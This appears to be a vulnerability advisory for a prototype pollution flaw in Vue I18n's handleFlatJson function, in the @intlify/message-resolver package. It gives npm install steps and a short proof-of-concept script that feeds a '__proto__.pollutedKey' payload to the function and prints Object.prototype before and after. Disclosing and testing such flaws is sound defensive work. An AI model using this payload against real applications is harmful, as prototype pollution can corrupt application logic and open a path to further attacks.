Vue I18n Allows Prototype Pollution in `handleFlatJson`

# v9.1
node_modules/@intlify/message-resolver/index.js

# v9.2 or later
node_modules/@intlify/vue-i18n-core/index.js

// install the package with the latest version
~$ npm install @intlify/message-resolver@9.1.10
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}

// poc.js
(async () => {
    const lib = await import('@intlify/message-resolver');
    var someObj = {}
    console.log("Before Attack: ", JSON.stringify({}.__proto__));
    try {
        // for multiple functions, uncomment only one for each execution.
        lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" })
    } catch (e) { }
    console.log("After Attack: ", JSON.stringify({}.__proto__));
    delete Object.prototype.pollutedKey;
})();